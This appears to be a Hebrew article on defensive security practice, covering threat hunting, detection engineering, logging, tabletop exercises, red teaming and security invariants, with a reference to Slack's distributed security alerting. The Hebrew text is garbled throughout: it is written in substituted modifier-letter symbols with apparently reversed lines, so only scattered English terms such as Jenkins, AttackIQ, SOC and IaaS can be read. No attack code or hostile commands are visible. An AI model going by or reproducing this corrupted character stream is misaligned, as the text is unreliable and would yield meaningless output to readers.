 ˸ˣˬ˷ ˣ˞ ˫˧ˢˤˬ ˫ˣˠ˶˸ ,ˠˣ˪ ˧˰˦˵ ˪˪ˣ˩ ,˫˞ˣ˸ ˰ˡ˧ˬ ˢ˞˧˟ˬ˷ ˢ˧˴ˬˣ˦ˣ˞ ˪˧˰˲ˢ˪ ˨˧˶˴ .˞˪ ˣ˞ ˰ˣ˶˧˞

˩ˣ ,˫˧ˬˣ˧˞ ˭˧˰˧ˡˣˬˬ ˸ˣ˰ˡ ,˫˧˟˷˥ˬ ˸ˣˬ˷ ,˫˧ˡ˟ˣ˰.x' 

 ,ˢˬˠˣˡ˪ .˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ,˶˷˲˞ˢ ˪˩˩ ,˶˰ˤˬ˪ ˷˧˫˧˵ˣ˥  ˸˟ˣ˸˩ ˣˬ˩ ,˶ˣ˰ˤˬ ˧ˡ˰˴ ˡ˧ˬ ˪˧˰˲ˢ˪ ˫˧˪ˣ˩˧

 ˸˞ ˸ˮˤˢ ˫˞ˢ" ˨˧˪ˢ˸ ˢ˪˧˰˲ˬ˷ "ˠˮ˧˷˧˲ ˪˰ ˥ˣˣˡ"˸ˣ˶˟˥˸ˢˢ ˧˦˶˲  ˣ˞ ˭ˣ˟˷˥ˢ ˸˪˧˰ˮ˪ ˪˧˟ˣˬ˷ "˨˪˷

˭ˬˤ ˸˞ˣ ˰ˣ˶˧˞˟ ˪ˣ˲˧˦ˢ ˭ˬˤ ˸˞ ,˭ˮˣ˩ ˪˷ ˟˵˰ˬˢ ˸ˣ˪ˣ˰˲ ˸˞ ˸˧˥˲˧ ˢˤ .ˢˬ˯˧˯ ˯ˣ˲˧˞ ˰˴ˣˬˬˢ ˢ˟ˣˠ˸ˢ. 

 ,˱˯ˣˮ˟ˢ˶˷˰ˢˢ ˡˣ˵ˢ˸ˬ ˧ˣ˷˰ s˪ ˶˷˲˞˪ˣˮ  ˞˧ˢ ˫˞ ˢ˸ˣ˞ ˶ˣˠ˯˪ˣ ˢ˰˶˸ˢˢ ˸˶ˬˣ˥ ˸˞ ˷ˡ˥ˬ ˪ˣ˵˷˪

˫˧˦˶ˡˮ˦˯˟ ˸ˡˬˣ˰ ˞˪. 

 

˫˧˸ˣˣ˴  ˨˧˶ˡˢ˪ ˣ˲˧ˡ˰˧ ˫˧˶ˡˢˮThreat Hunts ,˶˷˞ˬ ˪˧˰˲ˢ˪ ˫˧ˮˮˣ˩ 

 ˶ˣ˴˧˪ ˪˵ ,ˢˤˢ ˶ˬ˞ˬˢ ˨˶ˣ˞˪ ˧˸˶ˬ˞ˣ ˧˸˶ˤ˥˷ ˧˲˩˵ˣ˥  ,˨˩˪ ˶˟˰ˬ .˫˧˦˯˧˪ˮ˞ ˶˲˯ˬ ˪˰ ˢˡˣ˟˰ ˯˧ˬ˰ˬ˷

˶ˣˠ˯˪ˣ ˵ˣˡ˟˪ ˨˧˶˴ ˦˯˧˪ˮ˞˷ "ˢˬ˧˷ˬ"˪ ˨ˣ˲ˢ˪ ˸˟˧˧˥ ˢ˰˶˸ˢ ˪˩˷ ˢ˧ˣˠ˷ ˢ˯˧˲˸ ˸ˬ˧˧˵.  ˧ˣˢ˧ˤ ˧˸ˣˣ˴

 ˢ˴˧˲ ˫˰ ˭ˣ˸˞˵˞ˢ ˷ˠ˲ˬ ˣ˞ ˸ˣˮˮˣ˩ ˟˟˯ ˢˤ ˫˞ ˭˧˟ ,"ˡ˧˴" ˪˷ ˧ˢ˷˪˩ ˢ˧˴˵ˮˣ˲ ˫˧˵˧ˤ˥ˬ ˶˸ˣ˧ ˫˧˟ˣ˦

 .ˢ˶˧˟ˣ 

˪˷ ˢ˥˦˟˞ˢ ˸ˣˣ˴ ˫˞˫˩ ˡ˵˸ˬ ˵˧˲˯ˬ˧˴˥ ˡ˧˴˷ ˟˷ˣ˥ ˧ˮ˞ ,˧ˣˢ˧ˤ ˸˧ˮ˩ˣ˸ ˸ˣˮ˟˪ ˧ˡ˩ ˫- ˰ˣ˟˵ ˭˲ˣ˞˟ ˢ˥ˮˣˬ

˸˧ˮ˩ˣ˸ˢˬ ˵˪˥˩ ˧ˬ˷˶˪ ˨ˣ˲ˢ˧˷ ˧ˡ˩ ˵˧˲˯ˬ ˧˦˧˶˵ ˞ˣˢ. ˶˸ˢˢ ˪˩ ˸˞ ˥ˣ˪˷˪ ˫ˣ˵ˬ˟˞ ˸ˣ˪ ˫˧˦˯˧˪ˮ˞

˶ˡ˯˟ ˢ˶˧˵˥˪ FIFO  ,(˞˴ˣ˧ ˭ˣ˷˞˶ ,˯ˮ˩ˮ ˭ˣ˷˞˶)ˣ˪˵˷  ˵˪˥ ˸ˣˮ˲ˢ˪˫˧˵ˣ˥ˢˬ  ˫˧˧˵˸ˬ˷ ˶ˤˣ˥ˣ ˱˦ˣ˷ ˡ˧˴˪

˰ˣ˟˵ ˟˟˯ ˯˧˯˟ ˪˰. 

˫˞ ˶˸ˢˢ ˸˞ ˞˴ˬ˧ ˞˪ ˡ˧˧˴˞ ˪˰ ˟ˣ˷ˬ ˵˲˯˪ ˟˦˧ˢ ˭˩ˣˬ ˢ˧ˢ˧ ˞ˣˢ ,ˢ˪˧˰ˣˬ ˢˢ˶˷˰ˢ ˯ˣˮ˸˲ ˶ˣ˰ˤˬ ,

 ˧˩˶ˡ ,˧˦ˬˣ˦ˣ˞ˢ˧˴˪˵˯˞  ˪˷ ˟ˣ˸˩˷ˣ ˢ˵˧˥ˬ ˣ˞ ,˸ˣ˶˥˞˵ˣ˥ˢ. 

 

˫˧˸ˣˣ˴˪  ˫˧˸˧ˬ˰ ˷˧ ˫˧˶ˡˢˮ˫˧˶ˡˢˮ  ˢˡˣ˟˰˪˫˧˪ˣ˩˧˷ ˶ˣˤ˰˪ ˟˧ˠˢ˪ ˸ˣ˞˶˸ˢ˪ 

 ˵˲˯˪ ˪ˣ˩˧ ˞ˣˢ ˫˞ ˸ˣˬ˧ˣ˯ˬ ˸ˣ˶˧˵˥˟ ˡ˟ˣ˰ ˟˪˷˪ ˧˷ˣˬ˧˷ ˸˧ˮˡ˧ ˢ˶˧˵˥ ˶˷˞ˬ ˶˸ˣ˧ ˢ˟˶ ˸ˣ˶˧ˢˬ˟ ˶˷˵ˢ

 ˸˪˪ˣ˩ ˢ˰˶˸ˢ ˶˷˞˩ ˦˯˧˪ˮ˞˪ ˶˷˞ˬ ˶˸ˣ˧ ˵ˤ˥ ˢˡˣ˟˰ ˱ˣˮˬ ˷˧ ˡ˟ˣ˰˪ .˫˧˪˩ ˪˰ ˸˯˯ˣ˟ˬˢ ˢ˶˧˵˥ ˣ˞

ˣ˸ˣ˞. ˧˧ˬˡ ,ˢˬˠˣˡ˪ ˣˮ ˦ˣ˟Slack ˣˬ˩ ˢ˪˞˷ ˡ˟ˣ˰ˢ ˸˞ ˪ˣ˞˷˪ ,˭ˮˣ˩ ˸˧˧˥ˮˢ˟ ˣ˞ ˸˧˦ˬˣ˦ˣ˞ ,˪ˣ˩˧˷: 

¶ ˪ ˣ˶˟˥˸ˢ ˫ˢ ˶˷˞˩)-VPN (ˢˡˣ˷˥ ˢˮ˧ˡˬ ˣ˞ ˫ˣ˵˧ˬˬ: ˢ˰˧˯ˮ˟ ˢ˸˞ ,˧˧ˢ"?" 

¶ )˸ˣ˧ˮ˧ˡˬ˪ ˡˣˠ˧ˮ˟ ˣˢ˷ˬ ˣ˷˰ ˫ˢ ˶˷˞˩(: ˟ ˷ˬ˸˷ˢ˪ ˨˧˶˴ ˸˧˧ˢ ,˧˧ˢ"-sudo  ˸˟˧˟˯˟ProductionΚ" 

 ,˭˟ˣˬ˩ .˦˯˧˪ˮ˞˪ ˶˷˞ˬ ˰ˡ˧ˬ ˶˸ˣ˧ ˷˧ ˪˪˩ ˨˶ˡ˟ ˡ˟ˣ˰˪˷ ˫ˣ˷ˬ ˶˵˧˰˟ ,˧˸ˣ˰ˬ˷ˬ ˞ˣˢ ˭˞˩ ˢˡˣ˟˰ˢ ˱ˣˮˬ

˫˧˞˸ˬ ˸ˣ˥˲ ˶˟ˡˢ ˫ˢ˟˷ ˫˧ˠ˧˶˥ ˫˧˶˵ˬ ˷˧ ˨˶ˡ ,˧˪˪˩ ˭˲ˣ˞˟ ˨˞ .˧ˬ˧ˮ˲ ˫ˣ˧˞ ˪˷ ˢ˶˵ˬ˟ ˣˬ˩ ,

ˢ˧˴˪˵˯˞ˢ  ˶˷˵ˢ ˸˲˯ˣˢ˪ ˣˤˢ˵ˣ˥˪ ˶˸ˢ ˣ˞˞˭˧ˣ˴ˬ ˭ˣ˧˰˶ ˞˧ˢ ˢ. 
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 ˢ˟˶ˢ ˷˧˸ˣ˞ˬˠˣˡ :ˣˬ˩ ,ˢˤˢ ˞˷ˣˮ˟ ˦ˮ˶˦ˮ˧˞˟ 

 

 

 

˫˧˸ˣˣ˴ ˫˧˶ˡˢˮ ˞˪ ˫˧˶˧˟˰ˬ ˸ˣ˞˶˸ˢ ˡ˥˞ˬ ˧ˮ˷˪ 

˶˸ˢ ˸˶˧ˠ˯˪ ˢ˟˧˯ˢˢ˰  ˣˮ˸ˣ˞ ˸˟˶˵ˬ˷ ˟ˣ˷ˬˢ ˸˞˪ˣ˪˟ ˟ˣ˷˥ ˦˟˧ˢ ˣˢˤ .ˢˡ˧ˡˬ ˨˶ˣ˴˪ ˱˯˞˧ˢ˪ ˢ˩˧˶˴

˶˸ˢ ˪˷ ˭ˣˣ˧˩˪˰ˢˬˠˣˡ˪ .ˢ˶ˠ˯ˮ ˢ˰˶˸ˢ ˰ˣˡˬ ˭˧˟ˢ˪ ˶˷˲˞˸˷ ˢ˲˷ ˥˸˲˪ ˷˧ .˸ˣ˧˸ˣ˩˧˞ ˸ˣ: 

¶ ˸ˣˢˤ˪ ˶ˣˬ˞ ˢ˧ˢ˷ ˢˬ ˸˞ ˢˢ˧ˤ ˞˪ ˰ˣ˶˧˞ˢ. 

¶  ˢ˞˶ˮ ˢˢˣˤ˷ ˰ˣ˶˧˞ˢˢ˧ˢ ˞˪ ˨˞ ,˧ˮˣˡˤ. 

¶ ˢ˰˶˸ˢ ˵˧ˡ˴ˢ ˞˪ ˢˤ ˨˞ ,˸˧ˮˣˡˤ ˸ˣˠˢˮ˸ˢ ˢˢ˧ˤ ˰ˣ˶˧˞ˢ. 

 ˥ˣ˸˧˲ˢ ˨˧˪ˢ˸˪ ˣ˯ˮ˩ˣ˧˷ ˫˧˦˶ˡˮ˦˯ ˡˬ˪˪ ˰˧˧˯˸ ˣˤˢ ˟ˣ˷ˬˢ ˸˞˪ˣ˪ˣ ,ˢ˰˶˸ˢ ˸˶˧ˠ˯˪ ˸ˣ˟˶ ˸ˣ˟˧˯ ˭ˮ˷˧

˫˧˸˧ˬ˰ ˸˶ˣ˵˧˟ ˣ˞ ˶˧˟˥˸ ˸ˣ˵˧ˡ˟ ˸ˣ˰˴ˬ˞˟. 

˥ˢ ˭ˮˣ˩ˢ ˭˩˷ ,ˢ˵˧˥˷ ˰ˣˮˬ˪ ˶ˣˤ˰˸ ˞˟ˢ ˭ˮˣ˩˪ ˣ˪˪ˢ ˫˧ˮˣ˸ˮˢ ˸˶˟˰ˢ ˶˯ˬˮ˷ ˰ˡ˧ˬˢ ˧ˡ˧ ˪˰ ˢ˥ˮˣ˧ ˷ˡ

˸˥˞ ˢ˧˴˦ˣ˶ˬ ˶˸ˣ˧ ˪˰ ˰˧˲˷ˢ˪ ˢ˩˧˶˴ ˞˪ ˢ˰ˣ˶ˠ ˢ˰˶˸ˢ .ˢ˰˶˸ˢˢ ˵ˣ˧ˡ˪ ˰ˠˣˮ˟ ˫ˡˣ˵ˢ ˭ˮˣ˩ˢˬ. 

https://slack.engineering/distributed-security-alerting-c89414c992d6#.n90ai72da
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˫˧˸ˣˣ˴ ˫˧˶ˡˢˮ ˞˪ ˫˧˩˥ˬ ˰ˣ˶˧˞˪ ˣ˞ ˸ˣˣ˴˪ ˫ˣˡ˞ ˧ˡ˩ ˸ˣ˞˶˪ ˢ˲˧˞ ˫ˢ ˫˧ˡˬˣ˰ 

 ˧˸ˣˣ˴ ˶˸ˣ˧ ˞˪ ˰ˣˡˬ ˤ˞ .˟˩˶ˣˬ ˢ˧˴˶ˠ˦ˮ˧˞ ˶ˠ˸˞ ˞ˣˢ ˸ˣ˶˧ˡ˥ ˧ˣˢ˧ˤ ˪˷ ˸ˣ˧˰˟ˢ ˨˶˰ˬ ˫˧ˡ˵ˬ˸ˬ ˧ˣˢ˧ˤ

˫˧˯˥˧˧˸ˬ ˣ˟˷ ˭˲ˣ˞ ˣ˸ˣ˞˟ ˧ˣˢ˧ˤ˪ ˯˥˧˧˸ˢ˪ ,˸ˣ˶˧ˡ˥ ˧ˣ˪˧ˠ ˫ˣ˥˸˟ ˵˸˶ˬ ˫ˣ˥˸ ˣˢˤ ?ˢ˧˴˶ˠ˦ˮ˧˞ ˸ˣ˵˧ˡ˟˟ 

-˪Pipeline ˸ˣˬ˶ˣ˲˦˪˲˟ ˨ˬ˸ˮˢ CI/CD ˣˬ˩ Jenkins .˫ˣ˧˩ ˢˤ ˸˞ ˵ˣˡ˟˪ ˭˸˧ˮ ˭ˢ˟˷ ˫˧˩˶ˡ ˢˬ˩ ˷˧: 

˭˥˪ˣ˷ ˧˪˧ˠ˶˸(Tabletops)  :ˬˢ ˧ˣˢ˧ˤˢ ˸ˣ˶ˣˮ˧˴ ˸˞ ˵ˣˡ˟˪ ˡˣ˞ˬ ˦ˣ˷˲ .˫˧˦ˣ˷˲ ˫˧˷˧˥˶˸ ˫˰ ˫˧˧ˤ˩˶

 ˦˲˧˶˵˯ ˭˧˵˸ˬ ˢ˸˞˷ ˭ˬˤ˟ ˫˧ˠˣ˪ˢ ˧˶˥˞ ˟ˣ˵˰˞ ˧ˮ˞" ,˪˷ˬ˪."˧ˮˣˡˤ 

Red Teaming:  ˶ˣ˟˰ ˶˸ˣ˧ ˧˷ˣˬ˧˷ ˢˤ .ˢˮ˷˟ ˫˧˧ˬ˰˲ ˣ˞ ˫˰˲ ˧˪ˣ˞ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ .˶˵˧ ˨˧˪ˢ˸ ˣˢˤ

˟ ˸ˣ˧˸˶˧˴˧ ˶˶ˣ˰˪ ˶ˣˤ˰˪ ˪ˣ˩˧ ˢˤ ,˸˞ˤ ˫˰ .ˢ˧˴˶ˠ˦ˮ˧˞ ˸˵˧ˡ˟˩ ˶˷˞ˬ ˫˧˰ˣ˶˧˞˪ ˢ˟ˣˠ˸ ˸˵˧ˡ˟ ˸˶˧˴˧

˫˧˵ˣ˥. 

˧ˣˢ˧ˤ˪ ˫˧˪˩ : ˢˤ ˢ˶˵ˬ˟ˣˮ˥ˮ˞ ˟˸ˣ˩˫˧  ˧ˣˢ˧ˤˢ ˧ˮˣˮˠˮˬ ˸˞ ˸ˣ˶˧˷˧ ˱ˣ˵˸˸˷ ˢˮ˩ˣ˸ˣˮ˪˷ ˸˵˧ˡ˟ ˣˬ˩ ˷ˬˬ ,

ˢ˟˧˸˩˪ ˫˧˦ˣ˷˲ ˣ˧ˢ˧ ˫ˢˬ ˫˧˟˶ .˸˧˸˧ˬ˞ ˢˡ˧˥˧ ˣˬ˩ ,ˢˤ˪ ˵ˣ˧ˡ˟ ˶˴ˣˬ ˭ˢ˪ ˷˧˷ ˸ˣ˶˟˥ ˷˧ˣ ,AttackIQ. 

 ˧ˣˢ˧ˤˢ ˸˧˸˷˸ ˸˞ ˸ˣ˶˧˷˧ ˫˧˲˵ˣ˸˷ ˫˧˧ˡˣ˰˧˧ ˫˧˪˩ ˸˟˧˸˩˪ ˣˤˢ ˢ˷˧ˠ˟ ˷ˣˬ˧˷ˢˣˮ˪˷ ˪ ˶˷˲˞ˬ˫˩  ˵ˣˡ˟˪

 ˫˞ ˸˧˦ˬˣ˦ˣ˞ˣ ˸˧˸˦˧˷ ˢ˶ˣ˴˟˫˧˵ˣ˥ˢ  ˸ˣ˩˶˰ˬˢˣˣˮ˪˷  ,˫˧ˮˣ˷ ˫˧˟˴ˬ ˸˥˸ ˫ˢˬ ˢ˲ˣ˴ˬ˷ ˧˲˩ ˫˧ˡ˟ˣ˰

ˢˮ˩ˣ˸ ˥ˣ˸˧˲ ˸ˣ˩˶˰ˬ˟ ˢ˧˴˶ˠ˦ˮ˧˞ ˸ˣ˵˧ˡ˟˪ ˢˬˣˡ˟. 

 

˱ˣˡ˰˸  ˪˷ ˭ˣ˩ˮDetection Engineering 

Detection Engineering  ˠ˷ˣˬ ˞ˣˢ˸˧˯˥˧ ˷ˡ˥ ˞ˣˢ˷ ˢˡˣ˟˰ˢ ˥˲ˮ˟ˣ ˧ˣˢ˧ˤˢ ˨˶˰ˬ ˸ˣ˟˩˶ˣˬ˟ ˶˧˩ˬ ˞ˣˢ .

 ˸ˣ˧ˣˮˬˡˤˢ ,˸ˣ˧ˮ˩˦ ˸ˣ˪ˣ˩˧ ,˭˧˰˧ˡˣˬ ˭˧˟ ˷ˠ˲ˬ ˸ˡˣ˵ˮ ˞˧ˢ ˧ˣˢ˧ˤ ˸˯ˡˮˢ .˫˧˶˥˞ ˶ˣ˟˰ ˸ˣ˶˧ˢˬ˟ ˶˴ˣ˧

˧˪ˣˢ˧ˮˢ ˯ˬˣ˰ˢ ,˭ˣ˶˥˞ˢ ˵˪˥ˢ ˪˰ ˟˸ˣ˩ ˧ˮ˞ .˧˪ˣˢ˧ˮ ˯ˬˣ˰ˣ ˢˬ˶ˣ˲˦˪˲. 

˧ˣˢ˧ˤ ˸˯ˡˮˢ  ˧ˡ˧ ˪˰ ˫ˣ˞˸˲ ˸˶˴ˣˮ˷ ˢ˷ˡ˥ ˢˡˣ˟˰ ˪˷ ˢˬ˧˶ˤ˪ ˸ˣ˰ˡˣˬ ˣˤ ;˸ˣˬ˶ˣ˲˦˪˲ˣ ˡˣ˵ˬ ˶˸ˣ˧ ˞˧ˢ

˪˷ ˫˧˴ˬ˞ˬˢˣˮ . 

 

ˣ˶˧ˡ˯ˢ ˸˞ ˧ˮ˧˧ˮ˰ s-Logging ˫˩˪˷ 

 ˡ˵ˬ˸ˢ˪ ˷˧ ˶˴˵ˢ ˥ˣˣ˦˟ ˨˞ ,˧ˣˢ˧ˤ ˸˧˧ˠ˦˶˦˯˞ ˸ˣ˧ˢ˪ ˨˧˶˴ ˫˧˧ˤ˩˶ˬ ˫˧ˠˣ˪ ˶ˣ˟˰ ˨ˣ˶˞ˢ ˥ˣˣ˦˪ ˭ˣˤ˥ˢ

 ˧˩˶˴˪ ˢˮ˰ˬ˟ˣ ˸ˣ˸˪˧˞˷ ˰ˣ˴˧˟ ˸˪ˣ˩˧˟ ˶˵˧˰˟˧˶˴ ˞˪ ,ˢˤ ˟˪˷˟ .˫˧˶˥˞ ˫˧˸ˣˣ˴ ˪˷ ˫˧ˠˣ˪ˢ˫˧˩  ˸ˣ˧ˢ˪

˧ˣˢ˧ˤ ˸˯ˡˮˢ˪ ˫˧˧ˡˣ˰˧˧ ˫˧ˡ˧˵˲˸. 

 ˢˮ˧ˬ˞ ˢ˶ˣ˴˟ ˟˧ˠˢ˪ ˧ˡ˩ ˫˧˷˶ˡˮˢ ˫˧˧˪ˬ˧ˮ˧ˬˢ ˫˧ˠˣ˪ˢ ˸˞ ˱ˣ˯˞˪ˣ ˫˧ˮ˶˶˟ ˸ˣ˧ˢ˪ ˣˮ˧˪˰ ,˸˧˷˞˶

˧˷˧˥˶˸˪ ˫˸ˣ˩˶˰ˬ˟ˣ ˸ˣ˧ˮˣˠ˶˞ˢ ˸ˣ˩˶˰ˬ˟ ˸ˣ˶˟˥˸ˢ ˧ˮˣ˸ˮ ˱ˣ˯˧˞ .˫˧˴ˣ˲ˮ s-Production ˫˧ˠˣ˪ ˫˰ ˡ˥˧ ,

˷˸ˣ˧˸˷˸˟ ˷ˣˬ˧˷ ˪ (˪˷ ˫˧ˠˣ˪ IaaS), ˪˟˵ˬ ˪˪˩ ˨˶ˡ˟˫˧ ˭˞˩ ˸ˣ˲˧ˡ˰. 
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 ,˱˯ˣˮ˟˥˵˧ˮ  ˠˣ˪ ˪˩˧˟˧˦˵˧˪˲˞  ˸ˬ˶ ˡ˰ ˪˪˩ ˨˶ˡ˟ ,˸ˣ˧˰˟ ˭ˣ˶˸˲ ˨˶ˣ˴˪ ˣ˟ ˷ˬ˸˷ˬ ˭ˣˠ˶˞ˢ ˶˞˷˷

˸˩˶˰ˬ ˸˞˧˶˵ ˪˩ ˭˯˥˞˪ ˨˶ˣ˴ ˣˮ˪ ˭˧˞ .˫˧ˠˣ˪ ˧˟ˠ˪ ˸˧ˮˡˬ˥ ˢ˷˧ˠˬ ˰ˮˬ˧ˮ ,ˢˤ ˟˪˷˟ .˶˴ˣˬˢ (syscall)  ˪˰

 ˸ˣ˥˲˪) ˸˶˷ ˪˩ˢ˰˵˷ˢˢ ˪˰ ˧ˢ˷˪˩ ˢ˞ˣ˷˸ ˢ˧ˢ˸ ˸˧ˮˡˬ˥ ˢ˷˧ˠ˪˷ ˡ˰ ˭ˬˤ ˦˰ˬ ˞˪ ˥˵˧˧ .(!ˢ˸˰ ˸˰˪. 

 ˢ˥˧˷ˢ ˸˞ ˣ˶˴˰ ,˸˞ˤ ˫˰ .˫˧ˠˣ˪ ˸˶˟˰ˢˣ ˶ˣˬ˧˷ ,˸ˣ˸˪˧˞˷ ,˭ˣ˯˥˞ ,˟˧˴˵˸ ˪˰ ˫˧ˮˣ˧ˡ ˸ˣ˲ˣ˩ ˣ˪˞ ˸ˣ˥˧˷

 ˣ˵˧ˤ˥˸ ˪˞ ,˸ˣ˥˲˪ .ˢˤ ˟˪˷˟ ˸ˣˬ˩˥ˣ˸ˬ ˢ˞˶˸ˢ ˸ˣ˧ˠ˦˶˦˯˞ ˞˷ˣˮ˟ ˧ˡˬ ˵ˣ˥˶ ˣ˩˪˸ ˪˞ .˸ˣ˞˶˸ˢ ˟˧˟˯

 ˸ˣ˰ˡ˟ˤ˩˶ˬ ˫˧˶˴ˣ˧ˣ ˫˪ˣ˩ ˸˞ ˫˧˶˧˰ˬ ˣˮ˞ ˣ˟˷ ˟˴ˬ˪ ˣ˟˧˧˥˸˸ ˪˞ˣ ,ˢˬ ˭ˬˤ˪ ˢˤ ˞˷ˣˮ˟ ˸ˣ˵ˤ˥ SOC  ˣ˞

˫ˣ˶˧˥ ˸ˣ˞˧˶˵˪ ˸ˣ˧ˣˮ˶ˣ˸ ˟˟˯. 

 ˧˪˰˟ ˸˟ˣ˶ˬ ˢ˩˧ˬ˸ ˶˴ˣ˧ ,˥ˣ˸˧˲ˢ ˟˴˵ ˸˞ ˶˧˟ˠˬ ˞ˣˢ .˸ˣ˩˶˰ˬ ˸˥˦˟˞˟ ˧ˮ˷ˢ ˫˶ˣˠ˟ ˨ˬˣ˸ ˢˤ ˟˪˷

 ˢ˟ˣ˷˥ ˢ˟ˣˠ˸ ˸˪ˣ˩˧ ˵˧ˮ˰ˬˣ ,˧ˣˢ˧ˤ ˸ˣˬ˧˷ˬ ˪˰ ˯˧ˬ˰˧ ˞˪ ,˭˧˧ˮ˰ˢˡˣ˟˰ˢ ˸˟˧˟˯ ˪˷ ˢˮ˟ˢˢ ˶ˣ˲˧˷ ˨ˣ˸. 

 ˢ˞˪ˢ ˨˧˷ˬˮ˷ ˧ˮ˲˪ ˭˞˩ ˸˷˥˶˸ˬ ˸˧˰˟˦ ˢ˵˯˲ˢ .˸˧˶˵˸˟ ˢ˶˵ ˢˬ ˭˧˟ˢ˪ ˣ˪˩ˣ˸ ,˸ˣ˥˲ˢ ˪˩˪ ,˸˰˩

˧ˣˢ˧ˤ ˸˧˧ˠ˦˶˦˯˞ ˶˟˰˪. 

 

ˣ˰˧˵˷ˢ  ˭ˬˤ˸ˣ˥˷˵ˢ˟ ˶˟˰˪ ˡ˧˸˰˟ ˢ˶ˤ˥ ˣˮˮ˩˸ˣ ,Detection 

˸ˬ˧ˣ˯ˬ ˸ˣˬ˩ ˫˰ ˢ˟˧˟˯˟ ˶˸ˣ˧ ˢˢˣ˟ˠ ˢ˞ˣ˷˸ ˷˧ ˸˧˷˧˞ ˫˧ˬ˞˸ˣˬ ˫˧˧ˣˢ˧ˤ˪  ˫˧˸ˣˣ˴ .ˢˡ˶˲ˢˣ ˸ˣ˶˵˟ ˪˷

 ˸ˣ˶˵˟ˢ .˧ˡˬ ˫ˡ˵ˣˬ ˫ˢ˪˷ ˸ˣ˞˶˸ˢˣ ˧ˣˢ˧ˤˢ ˸˧˧ˠ˦˶˦˯˞ ˸˞ ˸˧ˬ˷˶ ˢ˶ˣ˴˟ ˶˧ˡˠˢ˪ ˫˧˩˧˶˴ ˞˪ ˫˧ˮ˦˵

 ˫˩˪˷ ˨˶ˡˢ ˭ˣ˧˴ ˸˞ ˰ˣ˟˵˪ ˷˧ ,˸˞ˤ ˫ˣ˵ˬ˟ .ˣ˪ˠ˸˷ ˢˬ ˪˰ ˧˸ˣ˰ˬ˷ˬ ˭˲ˣ˞˟ ˣ˰˧˲˷˧ ˯˧ˮ˩ˢ˪ ˣ˪˩ˣ˸˷

ˣˢ˧ˤˣ ˸ˣ˞˶˸ˢ˟ ˣ˪˧˥˸˸˷ ˧ˮ˲˪ ˢ˪ˣ˰˲ ˱ˣ˸˧˷ˣ ˸ˣ˸˪˧˞˷ ˰˴˟˪ ˸˪ˣ˩˧˩˸˧˷˧˞ ˫˧ˬ˞˸ˣˬ ˫˧˧. 

 ˸˶˧˴˧˟ ˨ˣˬ˸˪ ˸˷˶ˡˮˢ ˢ˟˶ ˢˡˣ˟˰ ˷˧ ˭˧˧ˡ˰ .˧ˣˢ˧ˤ ˸˯ˡˮˢ˪ ˧ˡˣ˰˧˧ ˸ˣˣ˴ ˫˧˷˧˧˞ˬ ˞˪ ˣˮ˥ˮ˞ ˢˤ ˟˪˷˟

˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ ˪˰ ˸˯˯ˣ˟ˬ˷ ˢ˧ˣ˲˴ ˢ˟˧˟˯ (Invariants) . ˶˷˞˩ ˟˦˧ˢ ˰˴˟˸˸ ˧ˣˢ˧ˤ˟ ˸ˣˬˡ˵˸ˢ

˶˴ˣˣ˧ˢ˪ ˫˧˪˧˥˸ˬ ˣ˪˞ ˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ. 

˸ˣ˵˴ˣˬ ˸ˣ˧˲˧˴ ˫ˢ ˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ  ˪ˣ˪˩˪ ˪ˣ˩˧ ˢˤ .ˠˢˮ˸˸ ˫˩˪˷ ˢ˟˧˟˯ˢ˷ ˫˧˲˴ˬ ˫˸˞ ˨˧˞ ˧˟ˠ˪

 ˪˷ ˭ˣˣ˩ˬ ˭ˣˮ˩˸ˣ ˸ˣ˧ˣˢˤ ˸ˣˬ˧˞ ˪˷ ˸ˣ˧ˤˣ˩˧˶ ˸ˣ˶ˣ˴ ,˸ˣ˞˷˶ˢ ˸˸˥˲ˢˡˤˢ˫˧ˡ˟ˣ˰ ˸ˣˢ. 

˪˩ :˪˪˩ˢ ˭ˬ ˫˧˞˴ˣ˧ ˢˬ˩ ˫ˮ˷˧ ˧ ˫˧˪˩ .˸ˣˮ˟ˣˬ ˢ˞˶˸ˢˣ ˧ˣˢ˧ˤ ˸ˣ˪ˣ˩˧ ˫˰ ˰˧ˠˢ˪ ˫˧˧ˣ˷˰ ˫˧ˬˡ˵ˣˬ ˢ˥˦˟˞

 ˣ˪˞˫ˢ  ˧ˡˮ˪ ˫˧ˮ˸˧ˮ ˪˪˩ ˨˶ˡ˟ ,˶ˡ˯˟ ˸ˣˬ˩ ˸˞ ˳˧˞ˢ˪ ˭ˣ˧˯˧ˮ˟ ˢˡ˧ˬˢ ˪˰ ˶˸˧ ˫˧˰ˣ˵˷ ˫˩ˮ˧˞ ˡˣ˰ ˪˩ ,˪ˣˢ˧

˫˰ ˫ˣ˶˧˥ ˸ˣˮ˶ˣ˸ ˶ˣ˴˧˪ ˧ˣ˸˧˲ˢˬ ˣ˰ˮˬ˧ˢ .˫˧˶˴˧˧ˬ ˫ˢ˷ ˢˡˣ˟˰ˢ SLA  ˫˧˩˲ˣˢ ˫˧˧ˣˢ˧ˤ˷ ˰ˠ˶˟ ˫˧˶˧ˬ˥ˬ

˫˧ˮ˧ˬˤ. 

˵ˣˤ˧˥ˢ ˸ˣˬ˧˷ˬ .ˢˡ˧˟˩ ˶˞˟ ˣˬ˩ ˸˰ ˫˶˦˟ ˧ˣˢ˧ˤ ˸˧ˮ˩ˣ˸ ˣˮ˧˧ˬˡ .˸ˣˮ˵˲˯˟ ˧ˣˢ˧ˤ ˪˰ ˣ˪˩˸˯ˢ ,ˢˤ ˟˪˷˟ 

(hardening)  ˧ˣˢ˧ˤ ,ˤ˞ ˡ˰ ˪˟˞ .ˡˣ˞ˬ ˸ˡ˥ˣ˧ˬ˪ ˸˧˲ˣ˯ˢ ˢ˞˴ˣ˸ˢ ˸˞ ˣ˩˲ˢ˧ ˧ˣˢ˧ˤ ˸˧ˮ˩ˣ˸˪ ˸ˣˬˡˣ˵˷

ˢ˧ˣ˴˶ˢ ˢ˞˴ˣ˸˪ ˰˧ˠˢ˪ ˫˩ˬ ˰ˮˬ˧ˣ ˭ˬˤ ˪ˣˤˠ˧ ˧ˡˬ ˫ˡ˵ˣˬ. 
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ˣˬ˷˧˧ ˵˶ ˢˢˣ˟ˠ ˸ˣ˩˧˞˟ ˸ˣ˞˶˸ˢˣ ˫˧˧ˣˢ˧ˤ 

